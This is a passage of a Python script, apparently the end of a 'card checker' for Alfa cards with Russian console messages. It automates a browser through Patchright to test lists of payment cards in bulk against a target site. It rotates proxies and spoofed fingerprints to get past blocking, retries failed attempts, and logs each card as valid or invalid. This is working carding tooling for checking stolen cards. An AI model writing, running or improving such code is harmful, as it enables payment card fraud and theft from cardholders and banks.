context, page = await new_context(browser, proxy, pick_fingerprint(), worker_id=worker_id)
except Exception as e:
if VERBOSE_ERRORS:
async with print_lock:
print(f"{Style.DIM}[worker {worker_id}] ошибка создания контекста: {e}, удаляем прокси{Style.RESET_ALL}")
if proxy in proxy_pool:
proxy_pool.remove(proxy)
continue
await reset_context_session(context, page)
result, extra = await check_card(page, phone, card, stop_flag, worker_id)
if result == "skip":
return
if result == "blocked":
if VERBOSE_ERRORS:
async with print_lock:
print(f"{Style.DIM}[worker {worker_id}] {cs} попытка {attempt}/{MAX_ATTEMPTS}: blocked, меняем прокси{Style.RESET_ALL}")
if proxy in proxy_pool:
proxy_pool.remove(proxy)
await safe_close_context(context)
continue
if result == "valid":
last4 = extra if extra and extra != "0000" else "????"
await log_valid(last4, card, line)
success = True
break
if result == "nv":
await log_nv(card, line)
success = True
break
if result == "pb":
await log_pb(card, line)
success = True
break
if VERBOSE_ERRORS:
async with print_lock:
print(f"{Style.DIM}[worker {worker_id}] {cs} попытка {attempt}: неожиданный результат {result}{Style.RESET_ALL}")
await safe_close_context(context)
except (PWTimeoutError, PWError, OSError) as e:
if stop_flag[0]:
return
err_text = str(e).splitlines()[0]
if VERBOSE_ERRORS:
async with print_lock:
print(f"{Style.DIM}[worker {worker_id}] {cs} попытка {attempt}/{MAX_ATTEMPTS} PW: {type(e).__name__}: {err_text[:140]}{Style.RESET_ALL}")
if proxy in proxy_pool:
proxy_pool.remove(proxy)
await safe_close_context(context)
except Exception as e:
if stop_flag[0]:
return
if VERBOSE_ERRORS:
async with print_lock:
print(f"{Style.DIM}[worker {worker_id}] {cs} попытка {attempt} exc: {e!r}{Style.RESET_ALL}")
await safe_close_context(context)
finally:
context = None
page = None
if not success and not stop_flag[0]:
await log_error(card, line, f"не удалось за {MAX_ATTEMPTS} попыток")
await asyncio.sleep(random.uniform(*INTER_CHECK_DELAY))
async def recheck_errors(browser: Browser, proxies: list[str], phones: list[str], stop_flag: list):
err_path = os.path.join(RESULTS_DIR, "errors.txt")
if not os.path.exists(err_path):
return
raw_lines = []
with open(err_path, encoding="utf-8") as f:
for line in f:
line = line.strip()
if not line:
continue
raw_lines.append(line.split("|")[0].strip())
if not raw_lines:
return
with open(err_path, "w", encoding="utf-8"):
pass
tasks = []
for line in raw_lines:
tasks.extend(extract_cards(line))
if not tasks:
return
q = asyncio.Queue()
for t in tasks:
await q.put(t)
wtasks = []
nw = min(THREADS, len(tasks))
for i in range(nw):
if stop_flag[0]:
break
wtasks.append(asyncio.create_task(worker(i, browser, q, proxies, phones, stop_flag)))
if i < nw - 1:
try:
await asyncio.sleep(WORKER_START_DELAY)
except asyncio.CancelledError:
break
if wtasks:
await asyncio.gather(*wtasks, return_exceptions=True)
async def main():
if not TARGET_URL:
print(f"{Fore.RED}TARGET не задан в .env{Style.RESET_ALL}")
return
phones = load_phones()
proxies = load_proxies()
if not phones:
print(f"{Fore.RED}phones.txt не найден или пуст{Style.RESET_ALL}")
return
if not proxies:
print(f"{Fore.RED}proxy.txt пуст{Style.RESET_ALL}")
return
all_tasks = load_tasks()
checked = load_checked()
pending = [(c, l) for c, l in all_tasks if c not in checked]
skipped = len(all_tasks) - len(pending)
stats.all = len(pending)
print(f"\n{Style.BRIGHT}{Fore.CYAN}{'='*52}{Style.RESET_ALL}")
print(f"{Style.BRIGHT}{Fore.CYAN} Альфа Кард Чекер . Patchright{Style.RESET_ALL}")
print(f"{Style.BRIGHT}{Fore.CYAN}{'='*52}{Style.RESET_ALL}")
print(f" Карт в strock.txt : {Fore.WHITE}{len(all_tasks)}{Style.RESET_ALL}")
print(f" Уже проверено : {Fore.WHITE}{skipped}{Style.RESET_ALL}")
print(f" Осталось : {Fore.WHITE}{len(pending)}{Style.RESET_ALL}")
print(f" Телефонов : {Fore.WHITE}{len(phones)}{Style.RESET_ALL}")
print(f" Прокси (всего) : {Fore.WHITE}{len(proxies)}{Style.RESET_ALL}")
print(f" Потоков : {Fore.WHITE}{THREADS}{Style.RESET_ALL}")
print(f" Fingerprints : {Fore.WHITE}{len(FINGERPRINTS)}{Style.RESET_ALL}")
print(f"{Style.BRIGHT}{Fore.CYAN}{'='*52}{Style.RESET_ALL}")
print(f" {Fore.GREEN}VALID {Fore.RED}НВ {Fore.YELLOW}ПБ {Fore.LIGHTBLACK_EX}ERR{Style.RESET_ALL}")
print(f"{Style.BRIGHT}{Fore.CYAN}{'='*52}{Style.RESET_ALL}\n")
if not pending:
print(f"{Fore.YELLOW}Все карты уже проверены.{Style.RESET_ALL}")
return
stats.start_time = datetime.now()
q = asyncio.Queue()
for item in pending:
await q.put(item)
stop_flag = [False]
wtasks = []
loop = asyncio.get_running_loop()
sigint_count = [0]
def shutdown(sig_name: str):
sigint_count[0] += 1
if sigint_count[0] == 1:
print(f"\n{Fore.YELLOW}[{ts()}] {sig_name} — завершаем… (Ctrl+C ещё раз = форс){Style.RESET_ALL}")
stop_flag[0] = True
for t in wtasks:
if not t.done():
t.cancel()
else:
print(f"\n{Fore.RED}Форс-выход{Style.RESET_ALL}")
os._exit(130)
def on_signal(sig):
shutdown(signal.Signals(sig).name)
for sig in (signal.SIGINT, signal.SIGTERM):
try:
loop.add_signal_handler(sig, on_signal, sig)
except (NotImplementedError, OSError):
signal.signal(sig, lambda s, f: on_signal(s))
async with async_playwright() as pw:
browser = await pw.chromium.launch(headless=HEADLESS, channel="chrome")
nw = min(THREADS, len(pending))
for i in range(nw):
if stop_flag[0]:
break
wtasks.append(asyncio.create_task(worker(i, browser, q, proxies.copy(), phones, stop_flag)))
if i < nw - 1:
try:
await asyncio.sleep(WORKER_START_DELAY)
except asyncio.CancelledError:
break
await asyncio.gather(*wtasks, return_exceptions=True)
if not stop_flag[0]:
print(f"\n{Fore.CYAN}Перепроверка ошибок…{Style.RESET_ALL}\n")
await recheck_errors(browser, proxies, phones, stop_flag)
try:
await browser.close()
except Exception:
pass
elapsed = datetime.now() - stats.start_time
m, s = divmod(int(elapsed.total_seconds()), 60)
stopped = f" {Fore.YELLOW}(остановлено){Style.RESET_ALL}" if stop_flag[0] else ""
print(f"\n{Style.BRIGHT}{Fore.CYAN}{'='*52}{Style.RESET_ALL}")
print(f"{Style.BRIGHT}{Fore.CYAN} Готово за {m}м {s}с{Style.RESET_ALL}{stopped}")
print(f"{Style.BRIGHT}{Fore.CYAN}{'='*52}{Style.RESET_ALL}")
print(f" {Fore.GREEN}VALID : {stats.valid}{Style.RESET_ALL}")
print(f" {Fore.RED}НВ : {stats.nv}{Style.RESET_ALL}")
print(f" {Fore.YELLOW}ПБ : {stats.pb}{Style.RESET_ALL}")
print(f" {Fore.LIGHTBLACK_EX}ОШИБКИ : {stats.errors}{Style.RESET_ALL}")
print(f" Скорость : {await stats.speed}/мин")
print(f"{Style.BRIGHT}{Fore.CYAN}{'='*52}{Style.RESET_ALL}\n")
if __name__ == "__main__":
try:
asyncio.run(main())
except KeyboardInterrupt:
print(f"\n{Fore.YELLOW}Остановлено.{Style.RESET_ALL}\n")
except Exception as e:
print(f"\n{Fore.RED}Критическая ошибка: {e}{Style.RESET_ALL}\n")
raise